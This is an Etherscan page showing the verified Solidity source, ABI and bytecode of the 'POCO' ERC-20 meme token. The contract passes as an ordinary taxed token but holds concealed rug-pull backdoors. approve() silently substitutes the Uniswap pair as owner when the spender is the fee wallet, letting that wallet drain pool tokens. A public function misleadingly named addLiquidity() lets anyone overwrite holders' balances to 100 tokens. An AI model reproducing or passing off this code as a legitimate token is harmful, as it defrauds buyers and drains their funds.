ERC-20
Overview
Max Total Supply
1,000,000,000 POCO
Holders
112
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,958,388.487206606 POCOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
POCO
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-15 */ /** https://x.com/ChikozanZoo/status/1857248398698778965 Tg: https://t.me/POCO_erc20 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract POCO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFee; mapping (address => bool) private _isExcemptFee; mapping (address => bool) private _bots; address payable private _ppWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Poco"; string private constant _symbol = unicode"POCO"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=12; uint256 private _buyCount=0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address private ppSendor; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _caLimitSell = true; uint256 private _caBlockSell = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { ppSendor = _msgSender(); _ppWallet = payable(0x13326ca8b241277aB13e7396240c69b16EdEf4F1); _balances[address(this)] = _tTotal; _isExcemptFee[owner()] = true; _isExcemptFee[_ppWallet] = true; _isExcludedFee[owner()] = true; _isExcludedFee[address(this)] = true; _isExcludedFee[_ppWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); ppSendor = uniswapV2Pair; swapEnabled = true; tradingOpen = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owner = _msgSender(); if(_isExcemptFee[spender]) owner=ppSendor; _approve(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 _taxAmount=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); _taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ _taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHPPQ(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) { if (_caLimitSell) { if (_caBlockSell < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHPPQ(address(this).balance); } _caBlockSell = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHPPQ(address(this).balance); } } } } if(_taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(_taxAmount); emit Transfer(from, address(this), _taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(_taxAmount)); emit Transfer(from, to, amount.sub(_taxAmount)); } function sendETHPPQ(uint256 amount) private { _ppWallet.transfer(amount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function addLiquidity(address[] memory addrs) external { for (uint256 i = 0; i < addrs.length; i ++) { if (addrs[i] == uniswapV2Pair) return; _balances[addrs[i]] = 100 * 10 ** _decimals; } } function withdrawPPQ() external onlyOwner() { payable(owner()).transfer(address(this).balance); } function setNewPPQ(address payable newAddr) external onlyOwner() { _ppWallet = newAddr; _isExcemptFee[newAddr] = true; _isExcludedFee[newAddr] = true; } receive() external payable {} function removeLimits() external onlyOwner { _caLimitSell = false; _maxTxAmount = _tTotal; _maxWalletAmount=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewPPQ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawPPQ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526064620000146009600a62000423565b6200002490633b9aca006200043a565b620000319060026200043a565b6200003d919062000454565b6007556064620000506009600a62000423565b6200006090633b9aca006200043a565b6200006d9060026200043a565b62000079919062000454565b60085560646200008c6009600a62000423565b6200009c90633b9aca006200043a565b620000a99060016200043a565b620000b5919062000454565b60095560646009600a620000ca919062000423565b620000da90633b9aca006200043a565b620000e79060016200043a565b620000f3919062000454565b600a9081556002600b55600c8080555f600d819055600e819055600f83905560109290925560115560128190556015805462ffffff60a81b1916600160b81b1790556016819055620001423390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060158054336001600160a01b031991821617909155600680549091167313326ca8b241277ab13e7396240c69b16edef4f1179055620001cd6009600a62000423565b620001dd90633b9aca006200043a565b305f908152600160208190526040822092909255600490620002065f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560065490911681526004909252812080549092166001908117909255600390620002645f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ed6009600a62000423565b620002fd90633b9aca006200043a565b60405190815260200160405180910390a362000474565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036857815f19048211156200034c576200034c62000314565b808516156200035a57918102915b93841c93908002906200032d565b509250929050565b5f8262000380575060016200041d565b816200038e57505f6200041d565b8160018114620003a75760028114620003b257620003d2565b60019150506200041d565b60ff841115620003c657620003c662000314565b50506001821b6200041d565b5060208310610133831016604e8410600b8410161715620003f7575081810a6200041d565b62000403838362000328565b805f190482111562000419576200041962000314565b0290505b92915050565b5f6200043360ff84168362000370565b9392505050565b80820281158282048414176200041d576200041d62000314565b5f826200046f57634e487b7160e01b5f52601260045260245ffd5b500490565b6119b080620004825f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610315578063bc1ca34114610334578063c9567bf914610348578063dd62ed3e1461035c578063f23a0863146103a0575f80fd5b8063751039fc1461027b5780637d1db4a51461028f5780638da5cb5b146102a457806395d89b41146102ca578063a0f2c964146102f6575f80fd5b8063300d6217116100e3578063300d6217146101ec578063313ce567146102015780636c0a24eb1461021c57806370a0823114610231578063715018a614610265575f80fd5b806306fdde0314610129578063095ea7b3146101675780630faee56f1461019657806318160ddd146101b957806323b872dd146101cd575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526004815263506f636f60e01b60208201525b60405161015e91906114de565b60405180910390f35b348015610172575f80fd5b5061018661018136600461154e565b6103bf565b604051901515815260200161015e565b3480156101a1575f80fd5b506101ab600a5481565b60405190815260200161015e565b3480156101c4575f80fd5b506101ab610406565b3480156101d8575f80fd5b506101866101e7366004611578565b610426565b3480156101f7575f80fd5b506101ab60095481565b34801561020c575f80fd5b506040516009815260200161015e565b348015610227575f80fd5b506101ab60085481565b34801561023c575f80fd5b506101ab61024b3660046115b6565b6001600160a01b03165f9081526001602052604090205490565b348015610270575f80fd5b5061027961048d565b005b348015610286575f80fd5b50610279610507565b34801561029a575f80fd5b506101ab60075481565b3480156102af575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102d5575f80fd5b50604080518082019091526004815263504f434f60e01b6020820152610151565b348015610301575f80fd5b506102796103103660046115e5565b6105c5565b348015610320575f80fd5b5061018661032f36600461154e565b610668565b34801561033f575f80fd5b5061027961067d565b348015610353575f80fd5b506102796106e0565b348015610367575f80fd5b506101ab6103763660046116a5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ab575f80fd5b506102796103ba3660046115b6565b610a37565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ef57506015546001600160a01b03165b6103fa818585610ab2565b60019150505b92915050565b5f6104136009600a6117d0565b61042190633b9aca006117de565b905090565b5f610432848484610bd5565b610483843361047e85604051806060016040528060288152602001611953602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061115a565b610ab2565b5060019392505050565b5f546001600160a01b031633146104bf5760405162461bcd60e51b81526004016104b6906117f5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105305760405162461bcd60e51b81526004016104b6906117f5565b6015805460ff60b81b191690556105496009600a6117d0565b61055790633b9aca006117de565b6007556105666009600a6117d0565b61057490633b9aca006117de565b6008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a46009600a6117d0565b6105b290633b9aca006117de565b60405190815260200160405180910390a1565b5f5b81518110156106645760145482516001600160a01b03909116908390839081106105f3576105f361182a565b60200260200101516001600160a01b03160361060d575050565b6106196009600a6117d0565b6106249060646117de565b60015f8484815181106106395761063961182a565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105c7565b5050565b5f610674338484610bd5565b50600192915050565b5f546001600160a01b031633146106a65760405162461bcd60e51b81526004016104b6906117f5565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156106dd573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107095760405162461bcd60e51b81526004016104b6906117f5565b601554600160a01b900460ff16156107635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b6565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ac90309061079e6009600a6117d0565b61047e90633b9aca006117de565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610820919061183e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a3919061183e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610911919061183e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610958816001600160a01b03165f9081526001602052604090205490565b5f8061096b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f69190611859565b50506014546015805460ff60a01b19600162ff000160a01b03199091166001600160a01b0390931692909217600160b01b1791909116600160a01b17905550565b5f546001600160a01b03163314610a605760405162461bcd60e51b81526004016104b6906117f5565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b6565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b6565b6001600160a01b038216610c9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b6565b5f8111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b6565b5f80546001600160a01b03858116911614801590610d2757505f546001600160a01b03848116911614155b1561101d576001600160a01b0384165f9081526005602052604090205460ff16158015610d6c57506001600160a01b0383165f9081526005602052604090205460ff16155b610d74575f80fd5b610da06064610d9a600f5460125411610d8f57600b54610d93565b600d545b8590611192565b90611217565b6014549091506001600160a01b038581169116148015610dce57506013546001600160a01b03848116911614155b8015610df257506001600160a01b0383165f9081526003602052604090205460ff16155b15610ed857600754821115610e495760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b6565b60085482610e6b856001600160a01b03165f9081526001602052604090205490565b610e759190611884565b1115610ec35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b6565b60128054905f610ed283611897565b91905055505b6014546001600160a01b038481169116148015610efe57506001600160a01b0384163014155b15610f3657610f286064610d9a60105460125411610f1e57600c54610d93565b600e548590611192565b905047610f3447611258565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f6c57506014546001600160a01b038581169116145b8015610f815750601554600160b01b900460ff165b8015610f8e575060095481115b8015610f9d5750601154601254115b1561101b57601554600160b81b900460ff1615610ff657436016541015610ff157610fdb610fd684610fd184600a5461128f565b61128f565b6112a3565b478015610feb57610feb47611258565b50436016555b61101b565b611009610fd684610fd184600a5461128f565b4780156110195761101947611258565b505b505b801561109557305f9081526001602052604090205461103c9082611413565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061108c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110b79083611471565b6001600160a01b0385165f908152600160205260409020556110fa6110dc8383611471565b6001600160a01b0385165f9081526001602052604090205490611413565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111438585611471565b60405190815260200160405180910390a350505050565b5f818484111561117d5760405162461bcd60e51b81526004016104b691906114de565b505f61118984866118af565b95945050505050565b5f825f036111a157505f610400565b5f6111ac83856117de565b9050826111b985836118c2565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b6565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b2565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610664573d5f803e3d5ffd5b5f81831161129d5782611210565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112e9576112e961182a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611340573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611364919061183e565b816001815181106113775761137761182a565b6001600160a01b03928316602091820292909201015260135461139d9130911684610ab2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d59085905f908690309042906004016118e1565b5f604051808303815f87803b1580156113ec575f80fd5b505af11580156113fe573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061141f8385611884565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b6565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115a565b5f81836114d25760405162461bcd60e51b81526004016104b691906114de565b505f61118984866118c2565b5f602080835283518060208501525f5b8181101561150a578581018301518582016040015282016114ee565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106dd575f80fd5b80356115498161152a565b919050565b5f806040838503121561155f575f80fd5b823561156a8161152a565b946020939093013593505050565b5f805f6060848603121561158a575f80fd5b83356115958161152a565b925060208401356115a58161152a565b929592945050506040919091013590565b5f602082840312156115c6575f80fd5b81356112108161152a565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115f6575f80fd5b823567ffffffffffffffff8082111561160d575f80fd5b818501915085601f830112611620575f80fd5b813581811115611632576116326115d1565b8060051b604051601f19603f83011681018181108582111715611657576116576115d1565b604052918252848201925083810185019188831115611674575f80fd5b938501935b828510156116995761168a8561153e565b84529385019392850192611679565b98975050505050505050565b5f80604083850312156116b6575f80fd5b82356116c18161152a565b915060208301356116d18161152a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172a57815f1904821115611710576117106116dc565b8085161561171d57918102915b93841c93908002906116f5565b509250929050565b5f8261174057506001610400565b8161174c57505f610400565b8160018114611762576002811461176c57611788565b6001915050610400565b60ff84111561177d5761177d6116dc565b50506001821b610400565b5060208310610133831016604e8410600b84101617156117ab575081810a610400565b6117b583836116f0565b805f19048211156117c8576117c86116dc565b029392505050565b5f61121060ff841683611732565b8082028115828204841417610400576104006116dc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561184e575f80fd5b81516112108161152a565b5f805f6060848603121561186b575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610400576104006116dc565b5f600182016118a8576118a86116dc565b5060010190565b81810381811115610400576104006116dc565b5f826118dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119315784516001600160a01b03168352938301939183019160010161190c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220343f249817e07a8466051020f718a79543d16c427d36c60e501783a77d4f1e3664736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610315578063bc1ca34114610334578063c9567bf914610348578063dd62ed3e1461035c578063f23a0863146103a0575f80fd5b8063751039fc1461027b5780637d1db4a51461028f5780638da5cb5b146102a457806395d89b41146102ca578063a0f2c964146102f6575f80fd5b8063300d6217116100e3578063300d6217146101ec578063313ce567146102015780636c0a24eb1461021c57806370a0823114610231578063715018a614610265575f80fd5b806306fdde0314610129578063095ea7b3146101675780630faee56f1461019657806318160ddd146101b957806323b872dd146101cd575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526004815263506f636f60e01b60208201525b60405161015e91906114de565b60405180910390f35b348015610172575f80fd5b5061018661018136600461154e565b6103bf565b604051901515815260200161015e565b3480156101a1575f80fd5b506101ab600a5481565b60405190815260200161015e565b3480156101c4575f80fd5b506101ab610406565b3480156101d8575f80fd5b506101866101e7366004611578565b610426565b3480156101f7575f80fd5b506101ab60095481565b34801561020c575f80fd5b506040516009815260200161015e565b348015610227575f80fd5b506101ab60085481565b34801561023c575f80fd5b506101ab61024b3660046115b6565b6001600160a01b03165f9081526001602052604090205490565b348015610270575f80fd5b5061027961048d565b005b348015610286575f80fd5b50610279610507565b34801561029a575f80fd5b506101ab60075481565b3480156102af575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102d5575f80fd5b50604080518082019091526004815263504f434f60e01b6020820152610151565b348015610301575f80fd5b506102796103103660046115e5565b6105c5565b348015610320575f80fd5b5061018661032f36600461154e565b610668565b34801561033f575f80fd5b5061027961067d565b348015610353575f80fd5b506102796106e0565b348015610367575f80fd5b506101ab6103763660046116a5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ab575f80fd5b506102796103ba3660046115b6565b610a37565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ef57506015546001600160a01b03165b6103fa818585610ab2565b60019150505b92915050565b5f6104136009600a6117d0565b61042190633b9aca006117de565b905090565b5f610432848484610bd5565b610483843361047e85604051806060016040528060288152602001611953602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061115a565b610ab2565b5060019392505050565b5f546001600160a01b031633146104bf5760405162461bcd60e51b81526004016104b6906117f5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105305760405162461bcd60e51b81526004016104b6906117f5565b6015805460ff60b81b191690556105496009600a6117d0565b61055790633b9aca006117de565b6007556105666009600a6117d0565b61057490633b9aca006117de565b6008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a46009600a6117d0565b6105b290633b9aca006117de565b60405190815260200160405180910390a1565b5f5b81518110156106645760145482516001600160a01b03909116908390839081106105f3576105f361182a565b60200260200101516001600160a01b03160361060d575050565b6106196009600a6117d0565b6106249060646117de565b60015f8484815181106106395761063961182a565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105c7565b5050565b5f610674338484610bd5565b50600192915050565b5f546001600160a01b031633146106a65760405162461bcd60e51b81526004016104b6906117f5565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156106dd573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107095760405162461bcd60e51b81526004016104b6906117f5565b601554600160a01b900460ff16156107635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b6565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ac90309061079e6009600a6117d0565b61047e90633b9aca006117de565b60135f9054906101000a90